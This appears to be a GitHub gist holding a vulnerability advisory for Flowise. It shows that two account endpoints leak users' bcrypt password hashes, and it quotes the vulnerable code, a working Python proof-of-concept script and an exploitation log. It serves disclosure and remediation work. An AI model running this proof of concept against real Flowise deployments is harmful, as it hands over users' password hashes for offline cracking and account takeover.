Skip to content

Instantly share code, notes, and snippets.

@YLChen-007
Created March 5, 2026 05:56
Show Gist options
  • Select an option

  • Save YLChen-007/50a553f09aa1c7c04ce18cec13986a91 to your computer and use it in GitHub Desktop.

Select an option

Save YLChen-007/50a553f09aa1c7c04ce18cec13986a91 to your computer and use it in GitHub Desktop.
Bcrypt Password Hash Exposure via `/api/v1/account/login` and `/api/v1/account/invite` Endpoints

Advisory Details

Title: Bcrypt Password Hash Exposure via /api/v1/account/login and /api/v1/account/invite Endpoints

Description

Summary

The POST /api/v1/account/login endpoint returns the full database user object — including the bcrypt password hash (credential), tempToken, and tokenExpiry — in its JSON response body. An authenticated attacker can harvest password hashes for offline cracking. The POST /api/v1/account/invite endpoint has the same flaw in its existing-user code path, allowing an admin to extract any user's password hash by submitting an invite for that user's email.

Both are incomplete fix variants of the security patch introduced in PR #5167 ("Secure password reset endpoints"), which added sanitizeUser() but only applied it to forgotPassword(), resetPassword(), and updateUser() — missing login(), saveInviteAccount() (existing user branch), and verify().

Details

The root cause is in packages/server/src/enterprise/services/account.service.ts:

Variant A — login() (line 450–505):

The function loads the full user entity from the database via readUserByEmail(), validates the password, then returns the entire unsanitized user object directly:

// account.service.ts line 460
const user = await this.userService.readUserByEmail(data.user.email, queryRunner)
// ... password validation ...
// line 501 — returns raw user entity with credential hash
return { user, workspaceDetails: wsUserOrUsers }

The controller then serializes this straight to HTTP JSON:

// account.controller.ts line 27-35
public async login(req: Request, res: Response, next: NextFunction) {
    const accountService = new AccountService()
    const data = await accountService.login(req.body)
    return res.status(StatusCodes.CREATED).json(data)  // credential hash in body
}

Variant B — saveInviteAccount() existing user branch (line 376–377):

When inviting an email that already has an account, the function assigns the full user entity (including credential) into the response data without sanitization:

// account.service.ts line 376-377
if (this.identityManager.getPlatformType() === Platform.ENTERPRISE) {
    data.user = user  // full user entity with credential hash
    // ...
}
// line 437
return data  // data.user.credential is EXPOSED

Compare with functions that were correctly patched in PR #5167:

// updateUser() — properly sanitized
return sanitizeUser(updatedUser)

// saveRegisterAccount() — properly sanitized
delete data.user.credential
delete data.user.tempToken
delete data.user.tokenExpiry

PoC

Prerequisites: A running Flowise instance (open-source or enterprise mode) with at least one registered user.

Step 1 — Deploy target:

docker run -d --name flowise-test -p 3000:3000 flowiseai/flowise:latest

Open http://localhost:3000 in a browser and complete the initial "Setup Account" registration (e.g., admin@test.com / AdminPassword123!).

Step 2 — Authenticate (get JWT cookie):

import requests

s = requests.Session()
r = s.post("http://localhost:3000/api/v1/auth/login",
           json={"email": "admin@test.com", "password": "AdminPassword123!"},
           allow_redirects=False)
# JWT is now stored in session cookies

Step 3 — Exploit the vulnerable login endpoint:

r2 = s.post("http://localhost:3000/api/v1/account/login",
            json={"user": {"email": "admin@test.com", "credential": "AdminPassword123!"}},
            headers={"x-request-from": "internal"})
data = r2.json()
print(data["user"]["credential"])
# Output: $2a$10$FIDfEa39MuRmDt9Ewo2Y3uXHibS93C1HYZc3UzoHeGYLMKMGQl95u

Full automated PoC script:

#!/usr/bin/env python3
"""PoC: Credential Hash Exposure via /api/v1/account/login"""
import requests, sys, json

BASE_URL = "http://localhost:3000"
EMAIL = "admin@test.com"
PASSWORD = "AdminPassword123!"

s = requests.Session()

# Step 1: Authenticate via safe passport endpoint
r = s.post(f"{BASE_URL}/api/v1/auth/login",
           json={"email": EMAIL, "password": PASSWORD},
           allow_redirects=False, timeout=15)
token = s.cookies.get("token", "")
if not token:
    print("[ERROR] Authentication failed"); sys.exit(1)
print(f"[+] Authenticated. JWT: {token[:40]}...")

# Step 2: Call vulnerable endpoint
r2 = s.post(f"{BASE_URL}/api/v1/account/login",
            json={"user": {"email": EMAIL, "credential": PASSWORD}},
            headers={"x-request-from": "internal"}, timeout=15)

if r2.status_code in (200, 201):
    user = r2.json().get("user", {})
    cred = user.get("credential")
    if cred and cred.startswith("$2"):
        print(f"[VULNERABLE] Credential hash exposed: {cred}")
        print(f"  User: {user.get('email')} (id: {user.get('id')})")
        print(f"  All response keys: {list(user.keys())}")
    else:
        print("[NOT VULNERABLE] No credential in response")

Log of Evidence

======================================================================
  Flowise Credential Hash Exposure - Real-World PoC
  CWE-200 / CWE-312 - Sensitive Data in API Response
======================================================================

[*] Step 1: Authenticating via /api/v1/auth/login (passport-based)...
    Status: 200
    Location: N/A
    JWT Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ...
    [OK] Authentication successful

[*] Step 2: Calling VULNERABLE endpoint /api/v1/account/login...
    (This endpoint returns raw user object with credential hash)
    Status: 201

======================================================================
  [VULNERABILITY CONFIRMED] Credential hash EXPOSED!
======================================================================
    user.id:         8dee8920-9161-4fc2-98b9-8123f0d50c07
    user.email:      admin@test.com
    user.credential: $2a$10$FIDfEa39MuRmDt9Ewo2Y3uXHibS93C1HYZc3UzoHeGYLMKMGQl95u

    [!] Confirmed bcrypt hash format
    [!] This hash can be cracked offline with hashcat/john

    Comparison:
      SAFE endpoint (/api/v1/auth/login): Does NOT return credential
      VULN endpoint (/api/v1/account/login): Returns credential hash!

    Exposed sensitive fields: ['credential', 'tokenExpiry']
    Evidence saved to /tmp/flowise-credential-leak-evidence.json

======================================================================
  Result: [EXPLOITED-EXTERNAL] - Credential hash exposure CONFIRMED
======================================================================

Impact

An authenticated user can extract bcrypt password hashes from the API response by calling /api/v1/account/login. On enterprise deployments, an admin can harvest any user's password hash via /api/v1/account/invite by sending invite requests for existing users' emails. The exposed hashes can be cracked offline with tools like hashcat or john, enabling:

  • Credential stuffing against other services where users reuse passwords
  • Lateral movement by obtaining plaintext passwords of other Flowise users
  • Privilege escalation if a lower-privileged user cracks an admin's password

The vulnerability is a direct regression of the security fix in PR #5167, which fixed forgotPassword(), resetPassword(), and updateUser() but missed login(), saveInviteAccount() (existing user path), and verify().

Affected products

  • Ecosystem: npm
  • Package name: flowise
  • Affected versions: <= 3.0.12 (all versions after commit 9e178d688 which introduced the incomplete patch)
  • Patched versions: <None>

Severity

  • Severity: Medium
  • Vector string: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Weaknesses

  • CWE-200: Exposure of Sensitive Information to an Unauthorized Actor
  • CWE-312: Cleartext Storage of Sensitive Information

Occurrences

Permalink Description
https://github.com/FlowiseAI/Flowise/blob/643ebf533550460d7688f9e636174885ba2bb5cf/packages/server/src/enterprise/services/account.service.ts#L450-L505 The login() function returns the raw user entity (including credential bcrypt hash) at line 501 without calling sanitizeUser().
https://github.com/FlowiseAI/Flowise/blob/643ebf533550460d7688f9e636174885ba2bb5cf/packages/server/src/enterprise/services/account.service.ts#L376-L377 The saveInviteAccount() existing-user branch assigns the full user entity (with credential) to data.user without sanitization.
https://github.com/FlowiseAI/Flowise/blob/643ebf533550460d7688f9e636174885ba2bb5cf/packages/server/src/enterprise/services/account.service.ts#L437 The saveInviteAccount() return statement at line 437 leaks data.user.credential to the HTTP response.
https://github.com/FlowiseAI/Flowise/blob/643ebf533550460d7688f9e636174885ba2bb5cf/packages/server/src/enterprise/controllers/account.controller.ts#L27-L35 The login() controller serializes the unsanitized service response directly to JSON via res.json(data).
https://github.com/FlowiseAI/Flowise/blob/643ebf533550460d7688f9e636174885ba2bb5cf/packages/server/src/enterprise/controllers/account.controller.ts#L17-L25 The invite() controller serializes the unsanitized service response directly to JSON via res.json(data).
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment